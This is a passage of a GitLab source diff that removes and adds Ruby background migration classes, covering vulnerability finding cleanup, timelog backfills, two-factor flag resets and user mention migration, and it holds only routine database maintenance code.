- logger.error(message: "Snippet Statistics Migration: #{message}")
- end
-
- def update_project_statistics(project)
- project.statistics&.refresh!(only: [:snippets_size])
- end
-
- def update_namespace_statistics(namespace)
- Namespaces::StatisticsRefresherService.new.execute(namespace)
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/populate_vulnerability_feedback_pipeline_id.rb b/lib/gitlab/background_migration/populate_vulnerability_feedback_pipeline_id.rb
deleted file mode 100644
index 8241fea66db..00000000000
--- a/lib/gitlab/background_migration/populate_vulnerability_feedback_pipeline_id.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This class updates vulnerability feedback entities with no pipeline id assigned.
- class PopulateVulnerabilityFeedbackPipelineId
- def perform(project_ids)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::PopulateVulnerabilityFeedbackPipelineId.prepend_mod_with('Gitlab::BackgroundMigration::PopulateVulnerabilityFeedbackPipelineId')
diff --git a/lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb b/lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb
deleted file mode 100644
index 9a9f23e29ea..00000000000
--- a/lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This class creates/updates those project historical vulnerability statistics
- # that haven't been created nor initialized. It should only be executed in EE.
- class PopulateVulnerabilityHistoricalStatistics
- def perform(project_ids, retention_period = 90)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::PopulateVulnerabilityHistoricalStatistics.prepend_mod_with('Gitlab::BackgroundMigration::PopulateVulnerabilityHistoricalStatistics')
diff --git a/lib/gitlab/background_migration/prune_orphaned_geo_events.rb b/lib/gitlab/background_migration/prune_orphaned_geo_events.rb
deleted file mode 100644
index 0efbe72775c..00000000000
--- a/lib/gitlab/background_migration/prune_orphaned_geo_events.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-#
-# rubocop:disable Style/Documentation
-
-# This job is added to fix https://gitlab.com/gitlab-org/gitlab/issues/30229
-# It's not used anywhere else.
-# Can be removed in GitLab 13.*
-module Gitlab
- module BackgroundMigration
- class PruneOrphanedGeoEvents
- def perform(table_name)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::PruneOrphanedGeoEvents.prepend_mod_with('Gitlab::BackgroundMigration::PruneOrphanedGeoEvents')
diff --git a/lib/gitlab/background_migration/recalculate_project_authorizations_with_min_max_user_id.rb b/lib/gitlab/background_migration/recalculate_project_authorizations_with_min_max_user_id.rb
deleted file mode 100644
index b66fdfd5c65..00000000000
--- a/lib/gitlab/background_migration/recalculate_project_authorizations_with_min_max_user_id.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # rubocop:disable Style/Documentation
- class RecalculateProjectAuthorizationsWithMinMaxUserId
- def perform(min_user_id, max_user_id)
- User.where(id: min_user_id..max_user_id).find_each do |user|
- service = Users::RefreshAuthorizedProjectsService.new(
- user,
- incorrect_auth_found_callback:
- ->(project_id, access_level) do
- logger.info(message: 'Removing ProjectAuthorizations',
- user_id: user.id,
- project_id: project_id,
- access_level: access_level)
- end,
- missing_auth_found_callback:
- ->(project_id, access_level) do
- logger.info(message: 'Creating ProjectAuthorizations',
- user_id: user.id,
- project_id: project_id,
- access_level: access_level)
- end
- )
-
- service.execute
- end
- end
-
- private
-
- def logger
- @logger ||= Gitlab::BackgroundMigration::Logger.build
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/recalculate_vulnerability_finding_signatures_for_findings.rb b/lib/gitlab/background_migration/recalculate_vulnerability_finding_signatures_for_findings.rb
new file mode 100644
index 00000000000..20200a1d508
--- /dev/null
+++ b/lib/gitlab/background_migration/recalculate_vulnerability_finding_signatures_for_findings.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # rubocop: disable Style/Documentation
+ class RecalculateVulnerabilityFindingSignaturesForFindings
+ def perform(start_id, stop_id)
+ end
+ end
+ end
+end
+
+Gitlab::BackgroundMigration::RecalculateVulnerabilityFindingSignaturesForFindings.prepend_mod
diff --git a/lib/gitlab/background_migration/remove_duplicate_cs_findings.rb b/lib/gitlab/background_migration/remove_duplicate_cs_findings.rb
deleted file mode 100644
index 17ef6dec4c0..00000000000
--- a/lib/gitlab/background_migration/remove_duplicate_cs_findings.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- class RemoveDuplicateCsFindings
- def perform(start_id, stop_id)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::RemoveDuplicateCsFindings.prepend_mod_with('Gitlab::BackgroundMigration::RemoveDuplicateCsFindings')
diff --git a/lib/gitlab/background_migration/remove_duplicated_cs_findings_without_vulnerability_id.rb b/lib/gitlab/background_migration/remove_duplicated_cs_findings_without_vulnerability_id.rb
deleted file mode 100644
index e5772fc7375..00000000000
--- a/lib/gitlab/background_migration/remove_duplicated_cs_findings_without_vulnerability_id.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- class RemoveDuplicatedCsFindingsWithoutVulnerabilityId
- def perform(start_id, stop_id)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::RemoveDuplicatedCsFindingsWithoutVulnerabilityId.prepend_mod_with('Gitlab::BackgroundMigration::RemoveDuplicatedCsFindingsWithoutVulnerabilityId')
diff --git a/lib/gitlab/background_migration/remove_inaccessible_epic_todos.rb b/lib/gitlab/background_migration/remove_inaccessible_epic_todos.rb
deleted file mode 100644
index cb6a600a525..00000000000
--- a/lib/gitlab/background_migration/remove_inaccessible_epic_todos.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # rubocop:disable Style/Documentation
- class RemoveInaccessibleEpicTodos
- def perform(start_id, stop_id)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::RemoveInaccessibleEpicTodos.prepend_mod_with('Gitlab::BackgroundMigration::RemoveInaccessibleEpicTodos')
diff --git a/lib/gitlab/background_migration/remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings.rb b/lib/gitlab/background_migration/remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings.rb
new file mode 100644
index 00000000000..7fe5a427d10
--- /dev/null
+++ b/lib/gitlab/background_migration/remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+# This migration will look for Vulnerabilities::Finding objects that would have a duplicate UUIDv5 if the UUID was
+# recalculated. Then it removes Vulnerabilities::FindingPipeline objects associated with those Findings.
+# We can't just drop those Findings directly since the cascade drop will timeout if any given Finding has too many
+# associated FindingPipelines
+class Gitlab::BackgroundMigration::RemoveOccurrencePipelinesAndDuplicateVulnerabilitiesFindings
+ # rubocop:disable Gitlab/NamespacedClass, Style/Documentation
+ class VulnerabilitiesFinding < ActiveRecord::Base
+ self.table_name = "vulnerability_occurrences"
+ end
+
+ class VulnerabilitiesFindingPipeline < ActiveRecord::Base
+ include EachBatch
+ self.table_name = "vulnerability_occurrence_pipelines"
+ end
+ # rubocop:enable Gitlab/NamespacedClass, Style/Documentation
+
+ def perform(start_id, end_id)
+ ids_to_look_for = findings_that_would_produce_duplicate_uuids(start_id, end_id)
+
+ ids_to_look_for.each do |finding_id|
+ VulnerabilitiesFindingPipeline.where(occurrence_id: finding_id).each_batch(of: 1000) do |pipelines|
+ pipelines.delete_all
+ end
+ end
+
+ VulnerabilitiesFinding.where(id: ids_to_look_for).delete_all
+
+ mark_job_as_succeeded(start_id, end_id)
+ end
+
+ private
+
+ def findings_that_would_produce_duplicate_uuids(start_id, end_id)
+ VulnerabilitiesFinding
+ .from("vulnerability_occurrences to_delete")
+ .where("to_delete.id BETWEEN ? AND ?", start_id, end_id)
+ .where(
+ "EXISTS (
+ SELECT 1
+ FROM vulnerability_occurrences duplicates
+ WHERE duplicates.report_type = to_delete.report_type
+ AND duplicates.location_fingerprint = to_delete.location_fingerprint
+ AND duplicates.primary_identifier_id = to_delete.primary_identifier_id
+ AND duplicates.project_id = to_delete.project_id
+ AND duplicates.id > to_delete.id
+ )"
+ )
+ .pluck("to_delete.id")
+ end
+
+ def mark_job_as_succeeded(*arguments)
+ Gitlab::Database::BackgroundMigrationJob.mark_all_as_succeeded(
+ self.class.name.demodulize,
+ arguments
+ )
+ end
+end
diff --git a/lib/gitlab/background_migration/remove_undefined_vulnerability_confidence_level.rb b/lib/gitlab/background_migration/remove_undefined_vulnerability_confidence_level.rb
deleted file mode 100644
index 4be61bfb689..00000000000
--- a/lib/gitlab/background_migration/remove_undefined_vulnerability_confidence_level.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- class RemoveUndefinedVulnerabilityConfidenceLevel
- def perform(start_id, stop_id)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::RemoveUndefinedVulnerabilityConfidenceLevel.prepend_mod_with('Gitlab::BackgroundMigration::RemoveUndefinedVulnerabilityConfidenceLevel')
diff --git a/lib/gitlab/background_migration/remove_vulnerability_finding_links.rb b/lib/gitlab/background_migration/remove_vulnerability_finding_links.rb
new file mode 100644
index 00000000000..31fb5e97c5d
--- /dev/null
+++ b/lib/gitlab/background_migration/remove_vulnerability_finding_links.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # Remove vulnerability finding link records
+ # The records will be repopulated from the `raw_metadata`
+ # column of `vulnerability_occurrences` once the unique
+ # index is in place.
+ class RemoveVulnerabilityFindingLinks
+ include Gitlab::Database::DynamicModelHelpers
+
+ def perform(start_id, stop_id)
+ define_batchable_model('vulnerability_finding_links').where(id: start_id..stop_id).delete_all
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/replace_blocked_by_links.rb b/lib/gitlab/background_migration/replace_blocked_by_links.rb
deleted file mode 100644
index 0c29887bb00..00000000000
--- a/lib/gitlab/background_migration/replace_blocked_by_links.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- class ReplaceBlockedByLinks
- class IssueLink < ActiveRecord::Base
- self.table_name = 'issue_links'
- end
-
- def perform(start_id, stop_id)
- blocked_by_links = IssueLink.where(id: start_id..stop_id).where(link_type: 2)
-
- ActiveRecord::Base.transaction do
- # There could be two edge cases:
- # 1) issue1 is blocked by issue2 AND issue2 blocks issue1 (type 1)
- # 2) issue1 is blocked by issue2 AND issue2 is related to issue1 (type 0)
- # In both cases cases we couldn't convert blocked by relation to
- # `issue2 blocks issue` because there is already a link with the same
- # source/target id. To avoid these conflicts, we first delete any
- # "opposite" links before we update `blocked by` relation. This
- # should be rare as we have a pre-create check which checks if issues
- # are already linked
- opposite_ids = blocked_by_links
- .select('opposite_links.id')
- .joins('INNER JOIN issue_links as opposite_links ON issue_links.source_id = opposite_links.target_id AND issue_links.target_id = opposite_links.source_id')
- IssueLink.where(id: opposite_ids).delete_all
-
- blocked_by_links.update_all('source_id=target_id,target_id=source_id,link_type=1')
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/reset_merge_status.rb b/lib/gitlab/background_migration/reset_merge_status.rb
deleted file mode 100644
index d040b4931be..00000000000
--- a/lib/gitlab/background_migration/reset_merge_status.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Updates the range of given MRs to merge_status "unchecked", if they're opened
- # and mergeable.
- class ResetMergeStatus
- def perform(from_id, to_id)
- relation = MergeRequest.where(id: from_id..to_id,
- state_id: 1, # opened
- merge_status: 'can_be_merged')
-
- relation.update_all(merge_status: 'unchecked')
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/reset_shared_runners_for_transferred_projects.rb b/lib/gitlab/background_migration/reset_shared_runners_for_transferred_projects.rb
deleted file mode 100644
index 0053cafb4ac..00000000000
--- a/lib/gitlab/background_migration/reset_shared_runners_for_transferred_projects.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Resets inconsistent state of shared_runners_enabled for projects that have been transferred
- class ResetSharedRunnersForTransferredProjects
- # Model specifically used for migration.
- class Namespace < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'namespaces'
- end
-
- # Model specifically used for migration.
- class Project < ActiveRecord::Base
- self.table_name = 'projects'
- end
-
- def perform(start_id, stop_id)
- Project.reset_column_information
-
- Namespace.where(id: start_id..stop_id).each_batch(of: 1_000) do |relation|
- ids = relation.where(shared_runners_enabled: false, allow_descendants_override_disabled_shared_runners: false).select(:id)
-
- Project.where(namespace_id: ids).update_all(shared_runners_enabled: false)
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/set_merge_request_diff_files_count.rb b/lib/gitlab/background_migration/set_merge_request_diff_files_count.rb
deleted file mode 100644
index 527dd2a0a83..00000000000
--- a/lib/gitlab/background_migration/set_merge_request_diff_files_count.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Sets the MergeRequestDiff#files_count value for old rows
- class SetMergeRequestDiffFilesCount
- # Some historic data has a *lot* of files. Apply a sentinel to these cases
- FILES_COUNT_SENTINEL = 2**15 - 1
-
- def self.count_subquery
- <<~SQL
- files_count = (
- SELECT LEAST(#{FILES_COUNT_SENTINEL}, count(*))
- FROM merge_request_diff_files
- WHERE merge_request_diff_files.merge_request_diff_id = merge_request_diffs.id
- )
- SQL
- end
-
- class MergeRequestDiff < ActiveRecord::Base # rubocop:disable Style/Documentation
- include EachBatch
-
- self.table_name = 'merge_request_diffs'
- end
-
- def perform(start_id, end_id)
- MergeRequestDiff.where(id: start_id..end_id).each_batch do |relation|
- relation.update_all(self.class.count_subquery)
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/update_existing_subgroup_to_match_visibility_level_of_parent.rb b/lib/gitlab/background_migration/update_existing_subgroup_to_match_visibility_level_of_parent.rb
deleted file mode 100644
index 9e330f7c008..00000000000
--- a/lib/gitlab/background_migration/update_existing_subgroup_to_match_visibility_level_of_parent.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This background migration updates children of group to match visibility of a parent
- class UpdateExistingSubgroupToMatchVisibilityLevelOfParent
- def perform(parents_groups_ids, level)
- groups_ids = Gitlab::ObjectHierarchy.new(Group.where(id: parents_groups_ids))
- .base_and_descendants
- .where("visibility_level > ?", level)
- .select(:id)
-
- return if groups_ids.empty?
-
- Group
- .where(id: groups_ids)
- .update_all(visibility_level: level)
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth.rb b/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth.rb
deleted file mode 100644
index d97765cd398..00000000000
--- a/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth.rb
+++ /dev/null
@@ -1,110 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- class UpdateExistingUsersThatRequireTwoFactorAuth # rubocop:disable Metrics/ClassLength
- def perform(start_id, stop_id)
- ActiveRecord::Base.connection.execute <<~SQL
- UPDATE
- users
- SET
- require_two_factor_authentication_from_group = FALSE
- WHERE
- users.id BETWEEN #{start_id}
- AND #{stop_id}
- AND users.require_two_factor_authentication_from_group = TRUE
- AND users.id NOT IN ( SELECT DISTINCT
- users_groups_query.user_id
- FROM (
- SELECT
- users.id AS user_id,
- members.source_id AS group_ids
- FROM
- users
- LEFT JOIN members ON members.source_type = 'Namespace'
- AND members.requested_at IS NULL
- AND members.user_id = users.id
- AND members.type = 'GroupMember'
- WHERE
- users.require_two_factor_authentication_from_group = TRUE
- AND users.id BETWEEN #{start_id}
- AND #{stop_id}) AS users_groups_query
- INNER JOIN LATERAL ( WITH RECURSIVE "base_and_ancestors" AS (
- (
- SELECT
- "namespaces"."type",
- "namespaces"."id",
- "namespaces"."parent_id",
- "namespaces"."require_two_factor_authentication"
- FROM
- "namespaces"
- WHERE
- "namespaces"."type" = 'Group'
- AND "namespaces"."id" = users_groups_query.group_ids)
- UNION (
- SELECT
- "namespaces"."type",
- "namespaces"."id",
- "namespaces"."parent_id",
- "namespaces"."require_two_factor_authentication"
- FROM
- "namespaces",
- "base_and_ancestors"
- WHERE
- "namespaces"."type" = 'Group'
- AND "namespaces"."id" = "base_and_ancestors"."parent_id")),
- "base_and_descendants" AS (
- (
- SELECT
- "namespaces"."type",
- "namespaces"."id",
- "namespaces"."parent_id",
- "namespaces"."require_two_factor_authentication"
- FROM
- "namespaces"
- WHERE
- "namespaces"."type" = 'Group'
- AND "namespaces"."id" = users_groups_query.group_ids)
- UNION (
- SELECT
- "namespaces"."type",
- "namespaces"."id",
- "namespaces"."parent_id",
- "namespaces"."require_two_factor_authentication"
- FROM
- "namespaces",
- "base_and_descendants"
- WHERE
- "namespaces"."type" = 'Group'
- AND "namespaces"."parent_id" = "base_and_descendants"."id"))
- SELECT
- "namespaces".*
- FROM ((
- SELECT
- "namespaces"."type",
- "namespaces"."id",
- "namespaces"."parent_id",
- "namespaces"."require_two_factor_authentication"
- FROM
- "base_and_ancestors" AS "namespaces"
- WHERE
- "namespaces"."type" = 'Group')
- UNION (
- SELECT
- "namespaces"."type",
- "namespaces"."id",
- "namespaces"."parent_id",
- "namespaces"."require_two_factor_authentication"
- FROM
- "base_and_descendants" AS "namespaces"
- WHERE
- "namespaces"."type" = 'Group')) namespaces
- WHERE
- "namespaces"."type" = 'Group'
- AND "namespaces"."require_two_factor_authentication" = TRUE) AS hierarchy_tree ON TRUE);
- SQL
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/update_location_fingerprint_for_container_scanning_findings.rb b/lib/gitlab/background_migration/update_location_fingerprint_for_container_scanning_findings.rb
deleted file mode 100644
index 054b918dade..00000000000
--- a/lib/gitlab/background_migration/update_location_fingerprint_for_container_scanning_findings.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- class UpdateLocationFingerprintForContainerScanningFindings
- def perform(start_id, stop_id)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::UpdateLocationFingerprintForContainerScanningFindings.prepend_mod_with('Gitlab::BackgroundMigration::UpdateLocationFingerprintForContainerScanningFindings')
diff --git a/lib/gitlab/background_migration/update_timelogs_null_spent_at.rb b/lib/gitlab/background_migration/update_timelogs_null_spent_at.rb
new file mode 100644
index 00000000000..c95ef9f5515
--- /dev/null
+++ b/lib/gitlab/background_migration/update_timelogs_null_spent_at.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # Class to populate spent_at for timelogs
+ class UpdateTimelogsNullSpentAt
+ include Gitlab::Database::DynamicModelHelpers
+
+ BATCH_SIZE = 100
+
+ def perform(start_id, stop_id)
+ define_batchable_model('timelogs').where(spent_at: nil, id: start_id..stop_id).each_batch(of: 100) do |subbatch|
+ batch_start, batch_end = subbatch.pluck('min(id), max(id)').first
+
+ update_timelogs(batch_start, batch_end)
+ end
+ end
+
+ def update_timelogs(batch_start, batch_stop)
+ execute(<<~SQL)
+ UPDATE timelogs
+ SET spent_at = created_at
+ WHERE spent_at IS NULL
+ AND timelogs.id BETWEEN #{batch_start} AND #{batch_stop};
+ SQL
+ end
+
+ def execute(sql)
+ @connection ||= ::ActiveRecord::Base.connection
+ @connection.execute(sql)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/update_vulnerabilities_from_dismissal_feedback.rb b/lib/gitlab/background_migration/update_vulnerabilities_from_dismissal_feedback.rb
deleted file mode 100644
index 1cc03f061fb..00000000000
--- a/lib/gitlab/background_migration/update_vulnerabilities_from_dismissal_feedback.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # rubocop: disable Style/Documentation
- class UpdateVulnerabilitiesFromDismissalFeedback
- def perform(project_id)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::UpdateVulnerabilitiesFromDismissalFeedback.prepend_mod_with('Gitlab::BackgroundMigration::UpdateVulnerabilitiesFromDismissalFeedback')
diff --git a/lib/gitlab/background_migration/user_mentions/create_resource_user_mention.rb b/lib/gitlab/background_migration/user_mentions/create_resource_user_mention.rb
deleted file mode 100644
index b3876018553..00000000000
--- a/lib/gitlab/background_migration/user_mentions/create_resource_user_mention.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- class CreateResourceUserMention
- # Resources that have mentions to be migrated:
- # issue, merge_request, epic, commit, snippet, design
-
- BULK_INSERT_SIZE = 1_000
- ISOLATION_MODULE = 'Gitlab::BackgroundMigration::UserMentions::Models'
-
- def perform(resource_model, join, conditions, with_notes, start_id, end_id)
- return unless Feature.enabled?(:migrate_user_mentions, default_enabled: true)
-
- resource_model = "#{ISOLATION_MODULE}::#{resource_model}".constantize if resource_model.is_a?(String)
- model = with_notes ? Gitlab::BackgroundMigration::UserMentions::Models::Note : resource_model
- resource_user_mention_model = resource_model.user_mention_model
-
- records = model.joins(join).where(conditions).where(id: start_id..end_id)
-
- records.each_batch(of: BULK_INSERT_SIZE) do |records|
- mentions = []
- records.each do |record|
- mention_record = record.build_mention_values(resource_user_mention_model.resource_foreign_key)
- mentions << mention_record unless mention_record.blank?
- end
-
- resource_user_mention_model.insert_all(mentions) unless mentions.empty?
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser.rb b/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser.rb
deleted file mode 100644
index 3def5eb3369..00000000000
--- a/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Lib
- module Banzai
- # isolated Banzai::ReferenceParser
- module ReferenceParser
- # Returns the reference parser class for the given type
- #
- # Example:
- #
- # Banzai::ReferenceParser['isolated_mentioned_group']
- #
- # This would return the `::Gitlab::BackgroundMigration::UserMentions::Lib::Banzai::ReferenceParser::IsolatedMentionedGroupParser` class.
- def self.[](name)
- const_get("::Gitlab::BackgroundMigration::UserMentions::Lib::Banzai::ReferenceParser::#{name.to_s.camelize}Parser", false)
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_group_parser.rb b/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_group_parser.rb
deleted file mode 100644
index d3d032ba433..00000000000
--- a/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_group_parser.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Lib
- module Banzai
- module ReferenceParser
- # isolated Banzai::ReferenceParser::MentionedGroupParser
- class IsolatedMentionedGroupParser < ::Banzai::ReferenceParser::MentionedGroupParser
- extend ::Gitlab::Utils::Override
-
- self.reference_type = :user
-
- override :references_relation
- def references_relation
- ::Gitlab::BackgroundMigration::UserMentions::Models::Group
- end
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_project_parser.rb b/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_project_parser.rb
deleted file mode 100644
index 5930d65bc2c..00000000000
--- a/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_project_parser.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Lib
- module Banzai
- module ReferenceParser
- # isolated Banzai::ReferenceParser::MentionedGroupParser
- class IsolatedMentionedProjectParser < ::Banzai::ReferenceParser::MentionedProjectParser
- extend ::Gitlab::Utils::Override
-
- self.reference_type = :user
-
- override :references_relation
- def references_relation
- ::Gitlab::BackgroundMigration::UserMentions::Models::Project
- end
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_user_parser.rb b/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_user_parser.rb
deleted file mode 100644
index f5f98517433..00000000000
--- a/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_user_parser.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Lib
- module Banzai
- module ReferenceParser
- # isolated Banzai::ReferenceParser::MentionedGroupParser
- class IsolatedMentionedUserParser < ::Banzai::ReferenceParser::MentionedUserParser
- extend ::Gitlab::Utils::Override
-
- self.reference_type = :user
-
- override :references_relation
- def references_relation
- ::Gitlab::BackgroundMigration::UserMentions::Models::User
- end
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_reference_extractor.rb b/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_reference_extractor.rb
deleted file mode 100644
index 8610129533d..00000000000
--- a/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_reference_extractor.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Lib
- module Gitlab
- # Extract possible GFM references from an arbitrary String for further processing.
- class IsolatedReferenceExtractor < ::Gitlab::ReferenceExtractor
- REFERABLES = %i(isolated_mentioned_group isolated_mentioned_user isolated_mentioned_project).freeze
-
- REFERABLES.each do |type|
- define_method("#{type}s") do
- @references[type] ||= isolated_references(type)
- end
- end
-
- def isolated_references(type)
- context = ::Banzai::RenderContext.new(project, current_user)
- processor = ::Gitlab::BackgroundMigration::UserMentions::Lib::Banzai::ReferenceParser[type].new(context)
-
- refs = processor.process(html_documents)
- refs[:visible]
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_visibility_level.rb b/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_visibility_level.rb
deleted file mode 100644
index 0334ea1dd08..00000000000
--- a/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_visibility_level.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Lib
- module Gitlab
- # Gitlab::IsolatedVisibilityLevel module
- #
- # Define allowed public modes that can be used for
- # GitLab projects to determine project public mode
- #
- module IsolatedVisibilityLevel
- extend ::ActiveSupport::Concern
-
- included do
- scope :public_to_user, -> (user = nil) do
- where(visibility_level: IsolatedVisibilityLevel.levels_for_user(user))
- end
- end
-
- PRIVATE = 0 unless const_defined?(:PRIVATE)
- INTERNAL = 10 unless const_defined?(:INTERNAL)
- PUBLIC = 20 unless const_defined?(:PUBLIC)
-
- class << self
- def levels_for_user(user = nil)
- return [PUBLIC] unless user
-
- if user.can_read_all_resources?
- [PRIVATE, INTERNAL, PUBLIC]
- elsif user.external?
- [PUBLIC]
- else
- [INTERNAL, PUBLIC]
- end
- end
- end
-
- def private?
- visibility_level_value == PRIVATE
- end
-
- def internal?
- visibility_level_value == INTERNAL
- end
-
- def public?
- visibility_level_value == PUBLIC
- end
-
- def visibility_level_value
- self[visibility_level_field]
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/commit.rb b/lib/gitlab/background_migration/user_mentions/models/commit.rb
deleted file mode 100644
index 65f4a7a25b6..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/commit.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- class Commit
- include EachBatch
- include Concerns::IsolatedMentionable
- include Concerns::MentionableMigrationMethods
-
- def self.user_mention_model
- Gitlab::BackgroundMigration::UserMentions::Models::CommitUserMention
- end
-
- def user_mention_model
- self.class.user_mention_model
- end
-
- def user_mention_resource_id
- id
- end
-
- def user_mention_note_id
- 'NULL'
- end
-
- def self.no_quote_columns
- [:note_id]
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/commit_user_mention.rb b/lib/gitlab/background_migration/user_mentions/models/commit_user_mention.rb
deleted file mode 100644
index f4cc96c8bc0..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/commit_user_mention.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- class CommitUserMention < ActiveRecord::Base
- self.table_name = 'commit_user_mentions'
- self.inheritance_column = :_type_disabled
-
- def self.resource_foreign_key
- :commit_id
- end
- end
- end
- end
- end
-end
